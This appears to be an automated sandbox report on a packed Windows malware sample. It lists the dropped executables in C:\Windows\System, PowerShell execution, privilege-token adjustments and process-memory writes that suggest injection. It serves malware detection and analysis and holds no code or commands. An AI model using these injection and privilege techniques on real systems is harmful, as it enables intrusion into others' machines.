Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System\VdVKCiM.exe	N/A
N/A	N/A	C:\Windows\System\IgaVQeK.exe	N/A
N/A	N/A	C:\Windows\System\hLRKbdd.exe	N/A
N/A	N/A	C:\Windows\System\EaoDjQF.exe	N/A
N/A	N/A	C:\Windows\System\PNZLQbJ.exe	N/A
N/A	N/A	C:\Windows\System\TssLdsW.exe	N/A
N/A	N/A	C:\Windows\System\sEgFUUs.exe	N/A
N/A	N/A	C:\Windows\System\oUlNoAc.exe	N/A
N/A	N/A	C:\Windows\System\KLxSuBL.exe	N/A
N/A	N/A	C:\Windows\System\uGsExMV.exe	N/A
N/A	N/A	C:\Windows\System\qtQXwqS.exe	N/A
N/A	N/A	C:\Windows\System\oUmaXpM.exe	N/A
N/A	N/A	C:\Windows\System\GhNdvBw.exe	N/A
N/A	N/A	C:\Windows\System\eyBHHxC.exe	N/A
N/A	N/A	C:\Windows\System\BGPoBgA.exe	N/A
N/A	N/A	C:\Windows\System\nKWLWdQ.exe	N/A
N/A	N/A	C:\Windows\System\raEShGs.exe	N/A
N/A	N/A	C:\Windows\System\AhUvjVT.exe	N/A
N/A	N/A	C:\Windows\System\DZCDKOa.exe	N/A
N/A	N/A	C:\Windows\System\LLMujzp.exe	N/A
N/A	N/A	C:\Windows\System\vkmWHmN.exe	N/A
N/A	N/A	C:\Windows\System\EzoaPUW.exe	N/A
N/A	N/A	C:\Windows\System\iqnwIWw.exe	N/A
N/A	N/A	C:\Windows\System\QtdIryt.exe	N/A
N/A	N/A	C:\Windows\System\vMmISHL.exe	N/A
N/A	N/A	C:\Windows\System\TzCHOaK.exe	N/A
N/A	N/A	C:\Windows\System\SBGzqYX.exe	N/A
N/A	N/A	C:\Windows\System\JociUts.exe	N/A
N/A	N/A	C:\Windows\System\cGOuBvi.exe	N/A
N/A	N/A	C:\Windows\System\eQZXhYa.exe	N/A
N/A	N/A	C:\Windows\System\DpMOVww.exe	N/A
N/A	N/A	C:\Windows\System\XiWcEzm.exe	N/A
N/A	N/A	C:\Windows\System\YWaCAgW.exe	N/A
N/A	N/A	C:\Windows\System\NgBVWZb.exe	N/A
N/A	N/A	C:\Windows\System\YQxPbSL.exe	N/A
N/A	N/A	C:\Windows\System\tcTuzUP.exe	N/A
N/A	N/A	C:\Windows\System\QFoiEsJ.exe	N/A
N/A	N/A	C:\Windows\System\hlzBIox.exe	N/A
N/A	N/A	C:\Windows\System\oEttjxJ.exe	N/A
N/A	N/A	C:\Windows\System\EQXgQDw.exe	N/A
N/A	N/A	C:\Windows\System\BQkjKbL.exe	N/A
N/A	N/A	C:\Windows\System\RasLXnH.exe	N/A
N/A	N/A	C:\Windows\System\pgPSexm.exe	N/A
N/A	N/A	C:\Windows\System\dfMKJir.exe	N/A
N/A	N/A	C:\Windows\System\koJPZnv.exe	N/A
N/A	N/A	C:\Windows\System\SZvvhRA.exe	N/A
N/A	N/A	C:\Windows\System\nZHDYDh.exe	N/A
N/A	N/A	C:\Windows\System\prHmMlL.exe	N/A
N/A	N/A	C:\Windows\System\kWqMvya.exe	N/A
N/A	N/A	C:\Windows\System\oFXjXHr.exe	N/A
N/A	N/A	C:\Windows\System\JJAKzzY.exe	N/A
N/A	N/A	C:\Windows\System\akPZugz.exe	N/A
N/A	N/A	C:\Windows\System\vceuGJX.exe	N/A
N/A	N/A	C:\Windows\System\QelhxCn.exe	N/A
N/A	N/A	C:\Windows\System\pnkPhnO.exe	N/A
N/A	N/A	C:\Windows\System\kjxtSpg.exe	N/A
N/A	N/A	C:\Windows\System\dhAdmoN.exe	N/A
N/A	N/A	C:\Windows\System\MzRwjCx.exe	N/A
N/A	N/A	C:\Windows\System\BaFdoNS.exe	N/A
N/A	N/A	C:\Windows\System\dCCRntD.exe	N/A
N/A	N/A	C:\Windows\System\BbsrXkn.exe	N/A
N/A	N/A	C:\Windows\System\KAVeLEu.exe	N/A
N/A	N/A	C:\Windows\System\tYlZqnO.exe	N/A
N/A	N/A	C:\Windows\System\foabygv.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A

UPX packed file

upx

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File created	C:\Windows\System\cYHviqS.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\itKDDNr.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\QbPcBGb.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\NhUXoBt.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\SVcAYYt.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\afLfDLd.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\weIjpkg.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ZhleXVL.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\nmZppoZ.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\JdVOWDf.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\TrEmChD.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\xpIqXzY.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\VQYMLqP.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\MgnSsEg.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\LIozHnP.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\hiYMcwA.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\TYnwacD.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\qEgzyBO.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\plLxUGN.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\CVirZHu.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\yRpmeNS.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\aUUllqS.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\gNthqng.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\PIJxOrF.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\OwSYAAo.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\DTzxsiy.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\axoINgV.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ltmZPQw.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\vagUzps.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\yjWMFug.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\hSYGmtZ.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\aTbKWMa.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\HccLHXQ.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\GIpLoZW.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\MwykREW.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\zRwvCSS.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\GfMDVnV.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\HVxIojl.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\FjDRPeX.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\dozJuZO.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\imLYYSD.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\JQQWWWO.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\YJtswOQ.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\vviuLjM.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\KoUutAj.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AqGGLDU.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\koSsEDN.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\FFbaEHK.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\SqaicPb.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\mGaELMJ.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\mdiKJYE.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ydLwyJM.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\wHFACPK.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\BHjcbOs.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\XqcLMZf.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\glrTzcj.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\vYCHgyo.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\VANEwoE.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\GPSmlfY.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\IlUeLzN.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\pSniHXh.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\JHiGcfW.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\YrkRHfd.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\OtsPAKU.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeLockMemoryPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
Token: SeLockMemoryPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2076 wrote to memory of 2748	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2076 wrote to memory of 2748	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2076 wrote to memory of 2748	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2076 wrote to memory of 2336	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\VdVKCiM.exe
PID 2076 wrote to memory of 2336	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\VdVKCiM.exe
PID 2076 wrote to memory of 2336	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\VdVKCiM.exe
PID 2076 wrote to memory of 2980	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\IgaVQeK.exe
PID 2076 wrote to memory of 2980	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\IgaVQeK.exe
PID 2076 wrote to memory of 2980	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\IgaVQeK.exe
PID 2076 wrote to memory of 2036	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\hLRKbdd.exe
PID 2076 wrote to memory of 2036	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\hLRKbdd.exe
PID 2076 wrote to memory of 2036	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\hLRKbdd.exe
